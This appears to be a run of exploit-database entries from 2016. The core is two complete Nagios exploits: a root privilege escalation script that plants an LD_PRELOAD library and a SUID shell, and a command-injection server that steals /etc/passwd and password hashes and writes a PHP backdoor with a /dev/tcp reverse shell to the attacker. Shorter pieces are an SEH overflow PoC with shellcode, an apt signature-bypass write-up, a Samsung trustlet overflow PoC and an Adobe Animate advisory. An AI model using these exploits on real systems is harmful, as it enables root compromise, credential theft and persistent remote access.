There could be other stale pointers to freed memory that get reused, and there are ways to modify the freed memory they point to before that reuse.
As these other crash stacks do not include CMarkup::Reload­In­Compat­View, it seems most likely that they are caused by the second or third option, which could indicate that the bug is in fact exploitable.

Time-line

5 May 2014: This vulnerability was found through fuzzing.
14 May 2014: This vulnerability was submitted to ZDI.
3 July 2014: This vulnerability was rejected by ZDI.
9 July 2014: This vulnerability was submitted to EIP.
July/August 2014: This vulnerability was rejected by EIP.
13 August 2014: This vulnerability was submitted to i­Defense.
Date unknown: This issue was withdrawn from i­Defense.
Date unknown: This vulnerability was address by Microsoft.
13 December 2016: Details of this vulnerability are released.
-->
            
#!/bin/bash
#
# Source: https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Nagios Core < 4.2.4  Root Privilege Escalation PoC Exploit
# nagios-root-privesc.sh (ver. 1.0)
#
# CVE-2016-9566
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory
#
#
# [Info]
#
# This PoC exploit allows privilege escalation from 'nagios' system account, 
# or an account belonging to 'nagios' group, to root (root shell).
# Attackers could obtain such an account via exploiting another vulnerability,
# e.g. CVE-2016-9565 linked below.
#
# [Exploit usage]
#
# ./nagios-root-privesc.sh path_to_nagios.log 
#
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# Video PoC:
# https://legalhackers.com/videos/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
#
# CVE-2016-9565:
# https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nagiosrootsh"
PRIVESCLIB="/tmp/nagios_privesc_lib.so"
PRIVESCSRC="/tmp/nagios_privesc_lib.c"
SUIDBIN="/usr/bin/sudo"
commandfile='/usr/local/nagios/var/rw/nagios.cmd'

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

echo -e "\033[94m \nNagios Core - Root Privilege Escalation PoC Exploit (CVE-2016-9566) \nnagios-root-privesc.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Priv check
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q nagios
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as 'nagios' user or 'nagios' group ! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f "$ERRORLOG" ]; then
	echo -e "\n[!] Provided Nagios log path ($ERRORLOG) doesn't exist. Try again. E.g: \n"
	echo -e "./nagios-root-privesc.sh /usr/local/nagios/var/nagios.log\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the Nagios log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

{
# Wait for Nagios to get restarted
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
read THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
	/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
fi
sleep 3s
ps aux | grep -v grep | grep -i 'bin/nagios'
if [ $? -ne 0 ]; then
	echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
fi
while :; do 
	sleep 1 2>/dev/null
	if [ -f /etc/ld.so.preload ]; then
		rm -f $ERRORLOG
		break;
	fi
done

echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"

# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
# -rw-r--r-- 1 nagios nagios 
# Only 'nagios' user can write to it, but 'nagios' group can not.
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)

sleep 3s 	# Wait for Nagios to create the nagios.cmd pipe
if [ ! -p $commandfile ]; then
	echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
	exit 2
fi	
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
now=`date +%s`
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
sleep 1s
grep -q "$PRIVESCLIB" /etc/ld.so.preload
if [ $? -eq 0 ]; then 
	echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
else
	echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
	exit 2
fi

} 2>/dev/null

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mGot root via Nagios!\033[0m"
else
	echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
	cleanexit 2
fi

# Use the rootshell to perform cleanup that requires root privileges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
rm -f $ERRORLOG
echo > $ERRORLOG

# Execute the rootshell
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0
            
#!/usr/bin/env python

# Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

intro = """\033[94m
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
CVE-2016-9565
nagios_cmd_injection.py ver. 1.0

Discovered & Coded by:

Dawid Golunski
https://legalhackers.com
\033[0m
"""
usage = """
This PoC exploit can allow well-positioned attackers to extract and write 
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines. 

For details, see the full advisory at:
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

PoC Video:
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html

Follow https://twitter.com/dawid_golunski for updates on this advisory.

Remember you can turn the nagios shell into root shell via CVE-2016-9565:
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html

Usage:

./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]

Disclaimer:
For testing purposes only. Do no harm.

"""

import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop

exploited  = 0 
docroot_rw = 0

class MainHandler(tornado.web.RequestHandler):

    def get(self):
	global exploited
	if (exploited == 1):
		self.finish()
	else:
		ua  = self.request.headers['User-Agent']
		if "Magpie" in ua:
			print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
			print  '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
			self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
			exploited = 1

    def post(self):        
        global docroot_rw
	print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip

	# Extract /etc/passwd from the target 
        passwd = self.request.files['passwd'][0]['body']
	print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd

	# Extract /usr/local/nagios/etc/htpasswd.users
        htauth = self.request.files['htauth'][0]['body']
	print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth

	# Extract nagios group from /etc/group
        group = self.request.files['group'][0]['body']
	for line in group.splitlines():
	    if "nagios:" in line:
		nagios_group = line
		print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
	if "www-data" in nagios_group:
		print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
		docroot_rw = 1

	# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
	# option. The output trace should contain  an unwrapped line similar to:
	# 
	# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
	#
	# which will do the trick as it won't mess up the payload :)
	self.add_header('Server', backdoor)

	# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)
	print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
	self.write(xmldata)

	self.finish()
	tornado.ioloop.IOLoop.instance().stop()


if __name__ == "__main__":
    global backdoor_path
    global backdoor

    print intro

    # Set attacker's external IP & port to be used by the reverse shell
    if len(sys.argv) < 2 :
	   print usage
	   sys.exit(2)
    attacker_ip   = sys.argv[1]
    if len(sys.argv) == 3 :
	   attacker_port = sys.argv[1]
    else:
	   attacker_port = 8080

    # PHP backdoor to be saved on the target Nagios server
    backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
    backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)

    # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
    global xmldata
    xmldata = """<?xml version="1.0"?>
    <rss version="2.0">
          <channel>
            <title>Nagios feed with injected JS payload</title>
            <item>
              <title>Item 1</title>
              <description>

                <strong>Feed injected. Here we go </strong> - 
                loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;) 

                <img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')">

              </description>

            </item>

          </channel>
    </rss> """


    # Generate SSL cert
    print "[+] Generating SSL certificate for our python HTTPS web server \n"
    os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req  -nodes -new -x509  -keyout server.key -out server.cert 2>/dev/null")

    print "[+] Starting the web server on ports 80 & 443 \n"
    application = tornado.web.Application([
        (r'/.*', MainHandler)
    ])
    application.listen(80)
    http_server = tornado.httpserver.HTTPServer(
        application, 
        ssl_options = {
            "certfile": os.path.join("./", "server.cert"),
            "keyfile": os.path.join("./", "server.key"),
        }
    )
    http_server.listen(443)

    print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
    tornado.ioloop.IOLoop.current().start()

    if (docroot_rw == 1):
	    print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
	    print "[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n"
	    os.system("nc -v -l -p 8080")
	    print "\n[+] Shell closed\n"

    print "[+] That's all. Exiting\n"
            
#!python
#####################################################################################
# Exploit title: MP3 converter v 2.6.18 License code SEH exploit
# Date: 2016-12-15
# Vendor homepage: http://www.nidesoft.com/mp3-converter.html
# Download: http://www.nidesoft.com/downloads/mp3-converter.exe
# Tested on: Win7 SP1
# Author: malwrforensics
# Details: Launch program and enter the license code in the "Register" window
#	   Copy&Paste the "license" from poc.txt
#####################################################################################

def write_poc(fname, buffer):
	fhandle = open(fname , 'wb')
	fhandle.write(buffer)
	fhandle.close()

fname="poc.txt"
buf = '\x41' * 0x176c

###################################
#msfvenom --payload windows/exec 
#cmd=calc.exe --platform windows 
#-f python -e x86/alpha_mixed
##################################
shellcode =  ""
shellcode += "\x89\xe0\xda\xdc\xd9\x70\xf4\x59\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37"
shellcode += "\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
shellcode += "\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
shellcode += "\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x58\x68\x4d\x52"
shellcode += "\x37\x70\x63\x30\x33\x30\x75\x30\x4b\x39\x59\x75\x45"
shellcode += "\x61\x79\x50\x70\x64\x4c\x4b\x42\x70\x36\x50\x4c\x4b"
shellcode += "\x42\x72\x66\x6c\x6e\x6b\x66\x32\x66\x74\x6c\x4b\x74"
shellcode += "\x32\x37\x58\x34\x4f\x4d\x67\x61\x5a\x45\x76\x75\x61"
shellcode += "\x69\x6f\x4e\x4c\x77\x4c\x43\x51\x63\x4c\x54\x42\x66"
shellcode += "\x4c\x75\x70\x39\x51\x48\x4f\x46\x6d\x67\x71\x4b\x77"
shellcode += "\x7a\x42\x48\x72\x63\x62\x30\x57\x6e\x6b\x51\x42\x74"
shellcode += "\x50\x4c\x4b\x61\x5a\x77\x4c\x6c\x4b\x52\x6c\x57\x61"
shellcode += "\x62\x58\x7a\x43\x53\x78\x45\x51\x68\x51\x43\x61\x4c"
shellcode += "\x4b\x72\x79\x55\x70\x56\x61\x38\x53\x4e\x6b\x67\x39"
shellcode += "\x46\x78\x5a\x43\x65\x6a\x37\x39\x4c\x4b\x36\x54\x6e"
shellcode += "\x6b\x57\x71\x7a\x76\x44\x71\x49\x6f\x6e\x4c\x6f\x31"
shellcode += "\x58\x4f\x36\x6d\x56\x61\x48\x47\x66\x58\x39\x70\x73"
shellcode += "\x45\x69\x66\x66\x63\x53\x4d\x5a\x58\x47\x4b\x53\x4d"
shellcode += "\x65\x74\x34\x35\x6d\x34\x70\x58\x6c\x4b\x61\x48\x35"
shellcode += "\x74\x53\x31\x69\x43\x65\x36\x4e\x6b\x74\x4c\x30\x4b"
shellcode += "\x4c\x4b\x46\x38\x67\x6c\x35\x51\x48\x53\x6e\x6b\x35"
shellcode += "\x54\x6e\x6b\x65\x51\x7a\x70\x4f\x79\x37\x34\x45\x74"
shellcode += "\x75\x74\x43\x6b\x33\x6b\x33\x51\x73\x69\x51\x4a\x36"
shellcode += "\x31\x6b\x4f\x39\x70\x51\x4f\x43\x6f\x73\x6a\x6e\x6b"
shellcode += "\x54\x52\x6a\x4b\x4e\x6d\x53\x6d\x51\x7a\x77\x71\x4c"
shellcode += "\x4d\x6c\x45\x4e\x52\x53\x30\x47\x70\x75\x50\x52\x70"
shellcode += "\x45\x38\x54\x71\x4e\x6b\x70\x6f\x6e\x67\x39\x6f\x58"
shellcode += "\x55\x4d\x6b\x4a\x50\x78\x35\x4d\x72\x36\x36\x43\x58"
shellcode += "\x79\x36\x7a\x35\x6f\x4d\x4d\x4d\x4b\x4f\x79\x45\x37"
shellcode += "\x4c\x77\x76\x51\x6c\x75\x5a\x6b\x30\x79\x6b\x49\x70"
shellcode += "\x62\x55\x37\x75\x6d\x6b\x61\x57\x35\x43\x74\x32\x52"
shellcode += "\x4f\x30\x6a\x55\x50\x31\x43\x4b\x4f\x69\x45\x32\x43"
shellcode += "\x43\x51\x32\x4c\x50\x63\x34\x6e\x61\x75\x62\x58\x50"
shellcode += "\x65\x67\x70\x41\x41"

junk = '\x41' * 0x1e
jmp = '\xeb\x20\x41\x41'
nseh = '\x37\x27\x78\x66' #pop pop ret -> avcodec.dll 
buffer = buf + jmp + nseh + junk + shellcode
write_poc(fname, buffer)
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1020

== Vulnerability ==
When apt-get updates a repository that uses an InRelease file (clearsigned
Release files), this file is processed as follows:
First, the InRelease file is downloaded to disk.
In a subprocess running the gpgv helper, "apt-key verify" (with some more
arguments) is executed through the following callchain:

gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire
  -> GPGVMethod::VerifyGetSigners -> ExecGPGV

ExecGPGV() splits the clearsigned file into payload and signature using
SplitClearSignedFile(), calls apt-key on these two files to perform the
cryptographic signature verification, then discards the split files and only
retains the clearsigned original. SplitClearSignedFile() ignores leading and
trailing garbage.

Afterwards, in the parent process, the InRelease file has to be loaded again
so that its payload can be processed. At this point, the code
isn't aware anymore whether the Release file was clearsigned or
split-signed, so the file is opened using OpenMaybeClearSignedFile(), which
first attempts to parse the file as a clearsigned (InRelease) file and extract
the payload, then falls back to treating the file as the file as a split-signed
(Release) file if the file format couldn't be recognized.

The weakness here is: If an attacker can create an InRelease file that
is parsed as a proper split-signed file during signature validation, but then
isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was
ignored by the signature validation is interpreted as repository metadata,
bypassing the signing scheme.

It first looks as if it would be impossible to create a file that is recognized
as split-signed by ExecGPGV(), but isn't recognized by
OpenMaybeClearSignedFile(), because both use the same function,
SplitClearSignedFile(), for parsing the file. However, multiple executions of
SplitClearSignedFile() on the same data can actually have different non-error
results because of a bug.
SplitClearSignedFile() uses getline() to parse the input file. A return code
of -1, which signals that either EOF or an error occured, is always treated
as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as
possible error code, but because the function allocates (nearly) unbounded
amounts of memory, it can actually also fail with ENOMEM if it runs out of
memory.
Therefore, if an attacker can cause the address space in the main apt-get
process to be sufficiently constrained to prevent allocation of a large line
buffer while the address space of the gpgv helper process is less constrained
and permits the allocation of a buffer with the same size, the attacker can use
this to fake an end-of-file condition in SplitClearSignedFile() that causes the
file to be parsed as a normal Release file.

A very crude way to cause such a constraint on a 32-bit machine is based on
abusing ASLR. Because ASLR randomizes the address space after each execve(),
thereby altering how much contiguous virtual memory is available, an allocation
that attempts to use the average available virtual memory should ideally succeed
50% of the time, resulting in an upper limit of 25% for the success rate of the
whole attack. (That's not very effective, and a real attacker would likely want
a much higher success rate, but it works for a proof of concept.)
This is not necessarily a limitation of the vulnerability, just a limitation
of the way the exploit is designed.

I think that it would make sense to fix this as follows:
 - Set errno to 0 before calling getline(), verify that it's still 0 after
   returning -1, treat it as an error if errno isn't 0 anymore.
 - Consider splitting the InRelease file only once, before signature validation,
   and then deleting the original clearsigned file instead of the payload file.
   This would get rid of the weakness that the file is parsed twice and parsing
   differences can have security consequences, which is a pretty brittle design.
 - I'm not sure whether this bug would have been exploitable if the parser for
   split files or the parser for Release files had been stricter. You might want
   to consider whether you could harden this code that way.



== Reproduction instructions ==
These steps are probably more detailed than necessary.

First, prepare a clean Debian VM for the victim:

 - download debian-8.6.0-i386-netinst.iso (it is important that this
   is i386 and not amd64)
 - install Virtualbox (I'm using version 4.6.36 from Ubuntu)
 - create a new VM with the following properties:
  - type "Linux", version "Debian (32-bit)"
  - 8192 MB RAM (this probably doesn't matter much, especially
    if you enable swap)
  - create a new virtual harddrive, size 20GB (also doesn't matter much)
 - launch the VM, insert the CD
 - pick graphical install
 - in the installer, use defaults everywhere, apart from enabling Xfce
   in the software selection

After installation has finished, log in, launch a terminal,
"sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates
so that it points to some unused port on the host machine instead of
the proper mirror
("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so).
This simulates a MITM attack or compromised mirror.

On the host (as the attacker):


$ tar xvf apt_sig_bypass.tar 
apt_sig_bypass/
apt_sig_bypass/debian/
apt_sig_bypass/debian/netcat-evil.deb
apt_sig_bypass/debian/dists/
apt_sig_bypass/debian/dists/jessie-updates/
apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1
apt_sig_bypass/debian/dists/jessie-updates/main/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/
apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages
apt_sig_bypass/make_inrelease.py
$ cd apt_sig_bypass/
$ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  141k  100  141k    0     0   243k      0 --:--:-- --:--:-- --:--:--  243k
$ ./make_inrelease.py 
$ ls -lh debian/dists/jessie-updates/InRelease
-rw-r--r-- 1 user user 1.3G Dec  5 17:13 debian/dists/jessie-updates/InRelease
$ python -m SimpleHTTPServer 1337 .
Serving HTTP on 0.0.0.0 port 1337 ...


Now, in the VM, as root, run "apt-get update".
It will probably fail - run it again until it doesn't fail anymore.
The errors that can occur are "Clearsigned file isn't valid" (when the
allocation during gpg verification fails) and some message about
a hash mismatch (when both allocations succeed). After "apt-get update"
has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should
look like this (server IP censored, irrelevant output removed and marked with
"[...]"):

root@debian:/home/user# apt-get update
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
[...]
100% [1 InRelease gpgv 1,342 MB]                                                       28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease
E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?)

root@debian:/home/user# apt-get update
[...]
Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB]
[...]
Hit http://ftp.us.debian.org jessie-updates InRelease
Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B]
[...]
Fetched 1,349 MB in 55s (24.4 MB/s)
Reading package lists... Done

root@debian:/home/user# apt-get upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  netcat-traditional
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 666 B of archives.
After this operation, 109 kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B]
Fetched 666 B in 0s (0 B/s)
Reading changelogs... Done
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing description
dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional':
 missing maintainer
(Reading database ... 86469 files and directories currently installed.)
Preparing to unpack .../netcat-traditional_9000_i386.deb ...
arbitrary code execution reached
uid=0(root) gid=0(root) groups=0(root)
[...]

As you can see, if the attacker gets lucky with the ASLR randomization, there
are no security warnings and "apt-get upgrade" simply installs the malicious
version of the package. (The dpkg warnings are just because I created a minimal
package file, without some of the usual information.)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40916.zip
            
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".

Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.

Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.

This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.

I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class OneWhoKNOX extends AppCompatActivity {

	/**
 	 * The logtag used.
	 */ 
	private static final String LOGTAG = "OTP_TEST";

	/**
 	 * The name of the OTP binder service.
	 */
	private static final String INTERFACE_DESCRIPTOR = "OTP";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		try {
			//Getting the binder
			Class smClass = Class.forName("android.os.ServiceManager");
			IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);
			
			//Writing a command with a large length field
			Parcel parcel = Parcel.obtain();
			Parcel reply = Parcel.obtain();
			parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
			byte[] command = new byte[0xDA7];

			//Setting the command to OTP_GENERATE_OTP
			command[0] = 0x02;
			command[1] = 0x00;
			command[2] = 0x00;
			command[3] = 0x00;

			//Setting the length field to something insane
			command[0x41C]     = (byte)0xFF;
			command[0x41C + 1] = (byte)0xFF;
			command[0x41C + 2] = (byte)0x00;
			command[0x41C + 3] = (byte)0x00;

			//Sending the command (should crash the trustlet)
			parcel.writeByteArray(command);
			binder.transact(2, parcel, reply, 0);
			Log.e(LOGTAG, "res=" + reply.readInt());
			reply.recycle();
			parcel.recycle();

		} catch (ClassNotFoundException |
			 NoSuchMethodException  |
			 IllegalAccessException |
			 InvocationTargetException ex) {
		    Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
		}

		} catch (RemoteException ex) {
		    Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
		}
	}
}
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-ANIMATE-MEMORY-CORRUPTION-VULNERABILITY.txt

[+] ISR: ApparitionSec



Vendor:
=============
www.adobe.com



Product(s):
=============================
Adobe Animate
15.2.1.95 and earlier versions

Adobe Animate (formerly Adobe Flash Professional, Macromedia Flash, and
FutureSplash Animator) is a multimedia authoring and computer
animation program developed by Adobe Systems.



Platforms:
===================
Windows / Macintosh



Vulnerability Type:
=======================================
Critical Memory Corruption Vulnerability



CVE Reference:
==============
CVE-2016-7866
APSB16-38



Vulnerability Details:
=====================
Adobe Animate suffers from a Buffer Overflow when creating .FLA files with
ActionScript Classes that use overly long Class names.
This causes memory corruption leading to possible arbitrary code execution
upon opening a maliciously created .Fla Flash file.


Reproduction / POC:


1) Create FLA with overly long Class name in FLA Class publish properties
input field.
2) Save and close
3) Reopen FLA, click edit to open the .as script file
4) "ctrl + s" to save then boom.... access violation


Distributed:
Create new ".as" ActionScript 3 (AS3) file and give it very long class name
in input field then hit "Ctrl+s" to save..
you will crash IDE, next way described is ONE way how attackers can
distribute malicious .FLA

Abusing JSFL, The Flash JavaScript application programming interface
(JavaScript API or JSAPI).

1) Create following .JSFL file

fl.getDocumentDOM().save();
fl.getDocumentDOM().testMovie();

2)  Create a MovieClip stored in FLA library with a very long class name
that extends MovieClip and export
   it for ActionScript etc...


3) Drag the MovieClip to the stage


4) Bundle FLA/JSFL file, make avail for download as example on how to use
JSFL to call save() / publish() functions.


User opens .FLA, runs harmless looking JSFL code then BOOM!



Reference:
https://helpx.adobe.com/security/products/animate/apsb16-38.html




Disclosure Timeline:
=====================================
Vendor Notification: May 28, 2016
December 13, 2016  : Public Disclosure




Exploitation Technique:
=======================
Local




Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
